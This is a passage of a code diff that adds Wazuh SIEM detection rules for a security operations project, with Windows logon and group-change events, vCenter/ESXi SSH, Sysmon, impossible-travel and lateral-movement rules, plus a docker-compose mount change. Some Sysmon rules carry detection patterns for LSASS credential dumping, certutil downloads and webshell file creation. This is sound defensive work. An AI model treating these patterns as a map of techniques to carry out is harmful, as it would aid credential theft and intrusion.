+    <description>A4-09 [PROD] Windows: guest account auth success (4624)</description>
107
+    <group>soc_prod,a4,auth_success,guest,</group>
108
+    <mitre><id>T1078.001</id></mitre>
109
+  </rule>
110
+
111
+  <rule id="110350" level="12">
112
+    <if_sid>60106</if_sid>
113
+    <field name="win.eventdata.logonType">^2$</field>
114
+    <field name="win.eventdata.targetUserName" type="pcre2">(?i)svc|service|\$$</field>
115
+    <description>A4-10 [PROD] Windows: service account interactive logon type 2 (4624)</description>
116
+    <group>soc_prod,a4,service_account,</group>
117
+    <mitre><id>T1078.003</id></mitre>
118
+  </rule>
119
+
120
+  <!-- A4-11/12: Group membership changes (events 4728/4732)
121
+       Parent: 60113 (member added to security-enabled group) -->
122
+  <rule id="110352" level="12">
123
+    <if_sid>60113</if_sid>
124
+    <field name="win.system.eventID">^4728$</field>
125
+    <description>A4-12 [PROD] Windows: account added to privileged domain group (4728)</description>
126
+    <group>soc_prod,a4,privilege_escalation,</group>
127
+    <mitre><id>T1098.007</id></mitre>
128
+  </rule>
129
+
130
+  <rule id="110353" level="12">
131
+    <if_sid>60113</if_sid>
132
+    <field name="win.system.eventID">^4732$</field>
133
+    <description>A4-11 [PROD] Windows: account added to privileged local group (4732)</description>
134
+    <group>soc_prod,a4,privilege_escalation,</group>
135
+    <mitre><id>T1098.007</id></mitre>
136
+  </rule>
137
+
138
+  <!-- A4-13: DSRM password set (event 4794)
139
+       Parent: 60103 -->
140
+  <rule id="110354" level="12">
141
+    <if_sid>60103</if_sid>
142
+    <description>A4-13 [PROD] Windows DC: DSRM account password set (4794)</description>
143
+    <group>soc_prod,a4,persistence,</group>
144
+    <mitre><id>T1098</id></mitre>
145
+  </rule>
146
+
147
+  <!-- A4-21/22/23/24: Account lifecycle (events 4720/4722)
148
+       Parent: 60109 (account created/enabled) -->
149
+  <rule id="110361" level="5">
150
+    <if_sid>60109</if_sid>
151
+    <field name="win.system.eventID">^4720$</field>
152
+    <description>A4-21/23 [PROD] Windows: new user account created (4720)</description>
153
+    <group>soc_prod,a4,account_create,</group>
154
+    <mitre><id>T1136</id></mitre>
155
+  </rule>
156
+
157
+  <rule id="110362" level="5">
158
+    <if_sid>60109</if_sid>
159
+    <field name="win.system.eventID">^4722$</field>
160
+    <description>A4-22/24 [PROD] Windows: user account re-enabled (4722)</description>
161
+    <group>soc_prod,a4,account_lifecycle,</group>
162
+    <mitre><id>T1078</id></mitre>
163
+  </rule>
164
+
165
+  <!-- ── Production normalized key=value path (soc-mvp production profile) ── -->
166
+
167
+
168
+</group>

+ 44 - 0
wazuh-docker/single-node/config/wazuh_cluster/rules/soc-b1-vmware-rules.xml

@@ -0,0 +1,44 @@
1
+<!--
2
+  SOC Proposal Rules — Appendix B1: VMware vCenter / ESXi
3
+  Simulation profile rule IDs : 100401-100403
4
+  Production profile rule IDs : 110401-110403
5
+-->
6
+<group name="soc_mvp,appendix_b,b1,vmware,">
7
+
8
+  <!-- ── Simulation profile ── -->
9
+
10
+
11
+
12
+
13
+  <!-- ── Production profile (if_group=vmware + real log patterns) ── -->
14
+
15
+  <rule id="110401" level="12">
16
+    <if_group>vmware</if_group>
17
+    <match>Login failure</match>
18
+    <description>B1-01 [PROD] vCenter: login failure detected (brute-force indicator)</description>
19
+    <group>soc_prod,b1,vcenter,auth,</group>
20
+    <mitre><id>T1110</id></mitre>
21
+  </rule>
22
+
23
+  <rule id="110402" level="8">
24
+    <if_group>vmware</if_group>
25
+    <match>SSH login is enabled</match>
26
+    <description>B1-02 [PROD] ESXi: SSH service enabled on host</description>
27
+    <group>soc_prod,b1,esxi,ssh,</group>
28
+    <mitre><id>T1021.004</id></mitre>
29
+  </rule>
30
+
31
+  <rule id="110403" level="12">
32
+    <if_group>vmware</if_group>
33
+    <match>sshd</match>
34
+    <description>B1-03 [PROD] ESXi: SSH authentication event detected</description>
35
+    <group>soc_prod,b1,esxi,ssh,</group>
36
+    <mitre><id>T1021.004</id></mitre>
37
+  </rule>
38
+
39
+  <!-- ── Production normalized key=value path (soc-mvp production profile) ── -->
40
+
41
+
42
+
43
+
44
+</group>

+ 22 - 0
wazuh-docker/single-node/config/wazuh_cluster/rules/soc-b2-logmon-rules.xml

@@ -0,0 +1,22 @@
1
+<!--
2
+  SOC Proposal Rules — Appendix B2: Log Monitoring
3
+  Simulation profile rule IDs : 100411
4
+  Production profile rule IDs : 110411
5
+-->
6
+<group name="soc_mvp,appendix_b,b2,logmonitor,">
7
+
8
+  <!-- ── Simulation profile ── -->
9
+
10
+
11
+  <!-- ── Production profile (anchored to 100260 = soc-prod-integrator) ── -->
12
+
13
+  <rule id="110411" level="5">
14
+    <if_sid>100260</if_sid>
15
+    <match>event_type=log_loss_detection</match>
16
+    <description>B2-01 [PROD] Log Monitor: log ingestion loss detected on monitored stream</description>
17
+    <group>soc_prod,b2,log_loss,</group>
18
+    <mitre><id>T1562.006</id></mitre>
19
+  </rule>
20
+
21
+
22
+</group>

+ 97 - 0
wazuh-docker/single-node/config/wazuh_cluster/rules/soc-b3-sysmon-rules.xml

@@ -0,0 +1,97 @@
1
+<!--
2
+  SOC Proposal Rules — Appendix B3: Windows Sysmon
3
+  Simulation profile rule IDs : 100421-100426
4
+  Production profile rule IDs : 110421-110426
5
+
6
+  Production rules use specific built-in Wazuh Sysmon SIDs as parents
7
+  to avoid the N×M rule-tree explosion from if_group=sysmon:
8
+    61603 → Sysmon event 1  (process create)
9
+    61612 → Sysmon event 10 (process access)
10
+    61613 → Sysmon event 11 (file create)
11
+-->
12
+<group name="soc_mvp,appendix_b,b3,sysmon,">
13
+
14
+  <!-- ── Simulation profile ── -->
15
+
16
+
17
+
18
+
19
+
20
+
21
+
22
+  <!-- ── Production profile ──
23
+       Parents are specific built-in Wazuh Sysmon SIDs (not if_group=sysmon)
24
+       to avoid N×M rule-tree explosion.
25
+  -->
26
+
27
+  <!-- B3-01: LSASS process access via procdump (Sysmon event 10)
28
+       Parent: 61612 (Sysmon event 10 - process access) -->
29
+  <rule id="110421" level="12">
30
+    <if_sid>61612</if_sid>
31
+    <field name="win.eventdata.targetImage" type="pcre2">(?i)lsass\.exe</field>
32
+    <description>B3-01 [PROD] Sysmon: LSASS process access detected (event 10)</description>
33
+    <group>soc_prod,b3,credential_access,lsass,</group>
34
+    <mitre><id>T1003.001</id></mitre>
35
+  </rule>
36
+
37
+  <!-- B3-02: SQL injection keywords in process command line (Sysmon event 1)
38
+       Parent: 61603 (Sysmon event 1 - process create) -->
39
+  <rule id="110422" level="12">
40
+    <if_sid>61603</if_sid>
41
+    <field name="win.eventdata.commandLine" type="pcre2">(?i)select|union|insert|drop|exec</field>
42
+    <description>B3-02 [PROD] Sysmon: SQL keyword in process command line (event 1)</description>
43
+    <group>soc_prod,b3,webapp,sqli,</group>
44
+    <mitre><id>T1190</id></mitre>
45
+  </rule>
46
+
47
+  <!-- B3-03: Web script file creation (Sysmon event 11)
48
+       Parent: 61613 (Sysmon event 11 - file create) -->
49
+  <rule id="110423" level="12">
50
+    <if_sid>61613</if_sid>
51
+    <field name="win.eventdata.targetFilename" type="pcre2">\.(?:php|aspx|asp|jsp)$</field>
52
+    <description>B3-03 [PROD] Sysmon: web script file created (possible webshell, event 11)</description>
53
+    <group>soc_prod,b3,webapp,webshell,</group>
54
+    <mitre><id>T1505.003</id></mitre>
55
+  </rule>
56
+
57
+  <!-- B3-04: msiexec uninstall (Sysmon event 1)
58
+       Parent: 61603 (Sysmon event 1 - process create) -->
59
+  <rule id="110424" level="12">
60
+    <if_sid>61603</if_sid>
61
+    <field name="win.eventdata.commandLine" type="pcre2">(?i)msiexec</field>
62
+    <field name="win.eventdata.commandLine" type="pcre2">(?i)/x|/uninstall</field>
63
+    <description>B3-04 [PROD] Sysmon: msiexec uninstall detected (event 1)</description>
64
+    <group>soc_prod,b3,defense_evasion,</group>
65
+    <mitre><id>T1562.001</id></mitre>
66
+  </rule>
67
+
68
+  <!-- B3-05: LSASS dump via Task Manager (Sysmon event 10)
69
+       Parent: 61612 (Sysmon event 10 - process access) -->
70
+  <rule id="110425" level="12">
71
+    <if_sid>61612</if_sid>
72
+    <field name="win.eventdata.sourceImage" type="pcre2">(?i)Taskmgr\.exe</field>
73
+    <field name="win.eventdata.targetImage" type="pcre2">(?i)lsass\.exe</field>
74
+    <description>B3-05 [PROD] Sysmon: LSASS dump via Task Manager (event 10)</description>
75
+    <group>soc_prod,b3,credential_access,lsass,</group>
76
+    <mitre><id>T1003.001</id></mitre>
77
+  </rule>
78
+
79
+  <!-- B3-06: certutil download (Sysmon event 1)
80
+       Parent: 61603 (Sysmon event 1 - process create) -->
81
+  <rule id="110426" level="8">
82
+    <if_sid>61603</if_sid>
83
+    <field name="win.eventdata.image" type="pcre2">(?i)certutil\.exe</field>
84
+    <description>B3-06 [PROD] Sysmon: certutil.exe execution detected (event 1)</description>
85
+    <group>soc_prod,b3,download,</group>
86
+    <mitre><id>T1105</id></mitre>
87
+  </rule>
88
+
89
+  <!-- ── Production normalized key=value path (soc-mvp production profile) ── -->
90
+
91
+
92
+
93
+
94
+
95
+
96
+
97
+</group>

+ 134 - 0
wazuh-docker/single-node/config/wazuh_cluster/rules/soc-c1-c3-rules.xml

@@ -0,0 +1,134 @@
1
+<!--
2
+  SOC Proposal Rules — Appendix C1-C3
3
+  C1: Impossible Travel
4
+  C2: Advanced Credential Abuse & Privilege Misuse
5
+  C3: Lateral Movement & Internal Reconnaissance
6
+
7
+  Simulation profile rule IDs : 100501, 100511-100514, 100521-100524
8
+  Production profile rule IDs : 110501, 110502, 110511-110514, 110521-110524
9
+
10
+  C1 prod: if_group=fortigate (VPN) or if_sid=100260 (soc-integrator)
11
+  C2/C3 prod: specific built-in Wazuh SIDs to avoid N×M explosion:
12
+    60106 → event 4624 (auth success / logon)
13
+    60113 → events 4728/4732 (group membership change)
14
+-->
15
+<group name="soc_mvp,appendix_c,">
16
+
17
+  <!-- ================================================================
18
+       C1: Impossible Travel Detection
19
+       ================================================================ -->
20
+
21
+
22
+  <rule id="110501" level="12">
23
+    <if_group>fortigate</if_group>
24
+    <match>action="ssl-login-success"</match>
25
+    <description>C1-01 [PROD] VPN login success with geo context — impossible travel candidate</description>
26
+    <group>soc_prod,c1,impossible_travel,identity,</group>
27
+    <mitre><id>T1078</id></mitre>
28
+  </rule>
29
+
30
+  <rule id="110502" level="15">
31
+    <if_sid>100260</if_sid>
32
+    <match>event_type=c1_impossible_travel</match>
33
+    <description>C1-01 [PROD] Impossible travel confirmed by soc-integrator correlation</description>
34
+    <group>soc_prod,c1,impossible_travel,identity,</group>
35
+    <mitre><id>T1078</id></mitre>
36
+  </rule>
37
+
38
+
39
+
40
+  <!-- ================================================================
41
+       C2: Advanced Credential Abuse & Privilege Misuse
42
+       ================================================================ -->
43
+
44
+
45
+
46
+
47
+
48
+  <!-- C2 production rules
49
+       Parent: 60106 (event 4624 - logon success) for auth rules
50
+               60113 (events 4728/4732 - group membership) for privilege rules -->
51
+
52
+  <rule id="110511" level="12">
53
+    <if_sid>60106</if_sid>
54
+    <field name="win.eventdata.targetUserName" type="pcre2">(?i)admin</field>
55
+    <description>C2-01 [PROD] Privileged account auth success (4624)</description>
56
+    <group>soc_prod,c2,credential_abuse,identity,</group>
57
+    <mitre><id>T1078.002</id></mitre>
58
+  </rule>
59
+
60
+  <rule id="110512" level="8">
61
+    <if_sid>60106</if_sid>
62
+    <field name="win.eventdata.targetUserName" type="pcre2">(?i)legacy</field>
63
+    <description>C2-02 [PROD] Dormant/legacy account auth success (4624)</description>
64
+    <group>soc_prod,c2,credential_abuse,identity,</group>
65
+    <mitre><id>T1078</id></mitre>
66
+  </rule>
67
+
68
+  <rule id="110513" level="12">
69
+    <if_sid>60106</if_sid>
70
+    <field name="win.eventdata.logonType">^10$</field>
71
+    <field name="win.eventdata.targetUserName" type="pcre2">(?i)svc|service|\$$</field>
72
+    <description>C2-03 [PROD] Service account remote interactive logon type 10 (4624)</description>
73
+    <group>soc_prod,c2,service_account,identity,</group>
74
+    <mitre><id>T1078.003</id></mitre>
75
+  </rule>
76
+
77
+  <rule id="110514" level="12">
78
+    <if_sid>60113</if_sid>
79
+    <field name="win.system.eventID">^4732$</field>
80
+    <description>C2-04 [PROD] Privilege escalation: group membership change (4732)</description>
81
+    <group>soc_prod,c2,privilege_escalation,identity,</group>
82
+    <mitre><id>T1098.007</id></mitre>
83
+  </rule>
84
+
85
+
86
+
87
+
88
+
89
+  <!-- ================================================================
90
+       C3: Lateral Movement & Internal Reconnaissance
91
+       ================================================================ -->
92
+
93
+
94
+
95
+
96
+
97
+  <!-- C3 production rules
98
+       Parent: 60106 (event 4624 - logon success) -->
99
+
100
+  <rule id="110521" level="12">
101
+    <if_sid>60106</if_sid>
102
+    <field name="win.eventdata.logonType">^10$</field>
103
+    <description>C3-01/02 [PROD] RDP auth success logon type 10 (lateral movement indicator)</description>
104
+    <group>soc_prod,c3,lateral_movement,rdp,</group>
105
+    <mitre><id>T1021.001</id></mitre>
106
+    <mitre><id>T1078</id></mitre>
107
+  </rule>
108
+
109
+  <rule id="110522" level="12">
110
+    <if_sid>60106</if_sid>
111
+    <field name="win.eventdata.logonType">^3$</field>
112
+    <description>C3-02 [PROD] SMB network logon type 3 (lateral movement indicator)</description>
113
+    <group>soc_prod,c3,lateral_movement,smb,</group>
114
+    <mitre><id>T1021.002</id></mitre>
115
+    <mitre><id>T1078</id></mitre>
116
+  </rule>
117
+
118
+  <rule id="110523" level="15">
119
+    <if_sid>60106</if_sid>
120
+    <field name="win.eventdata.targetUserName" type="pcre2">(?i)admin</field>
121
+    <description>C3-03 [PROD] Admin account auth success — lateral movement candidate (4624)</description>
122
+    <group>soc_prod,c3,lateral_movement,admin,</group>
123
+    <mitre><id>T1021.001</id></mitre>
124
+    <mitre><id>T1078.002</id></mitre>
125
+  </rule>
126
+
127
+  <!-- C3-04 PROD: WFP event 5156 has no specific built-in Wazuh parent SID.
128
+       Skip prod rule to avoid N×M explosion from using a generic windows parent. -->
129
+
130
+
131
+
132
+
133
+
134
+</group>

+ 8 - 0
wazuh-docker/single-node/docker-compose.yml

@@ -44,6 +44,14 @@ services:
44 44
       - ./config/wazuh_cluster/wazuh_manager.conf:/var/ossec/etc/ossec.conf
45 45
       - ./config/wazuh_cluster/local_decoder.xml:/var/ossec/etc/decoders/local_decoder.xml
46 46
       - ./config/wazuh_cluster/local_rules.xml:/var/ossec/etc/rules/local_rules.xml
47
+      - ./config/wazuh_cluster/rules/soc-a1-ioc-rules.xml:/var/ossec/etc/rules/soc-a1-ioc-rules.xml
48
+      - ./config/wazuh_cluster/rules/soc-a2-fortigate-fw-rules.xml:/var/ossec/etc/rules/soc-a2-fortigate-fw-rules.xml
49
+      - ./config/wazuh_cluster/rules/soc-a3-fortigate-vpn-rules.xml:/var/ossec/etc/rules/soc-a3-fortigate-vpn-rules.xml
50
+      - ./config/wazuh_cluster/rules/soc-a4-windows-ad-rules.xml:/var/ossec/etc/rules/soc-a4-windows-ad-rules.xml
51
+      - ./config/wazuh_cluster/rules/soc-b1-vmware-rules.xml:/var/ossec/etc/rules/soc-b1-vmware-rules.xml
52
+      - ./config/wazuh_cluster/rules/soc-b2-logmon-rules.xml:/var/ossec/etc/rules/soc-b2-logmon-rules.xml
53
+      - ./config/wazuh_cluster/rules/soc-b3-sysmon-rules.xml:/var/ossec/etc/rules/soc-b3-sysmon-rules.xml
54
+      - ./config/wazuh_cluster/rules/soc-c1-c3-rules.xml:/var/ossec/etc/rules/soc-c1-c3-rules.xml
47 55
 
48 56
   wazuh.indexer:
49 57
     image: wazuh/wazuh-indexer:4.14.3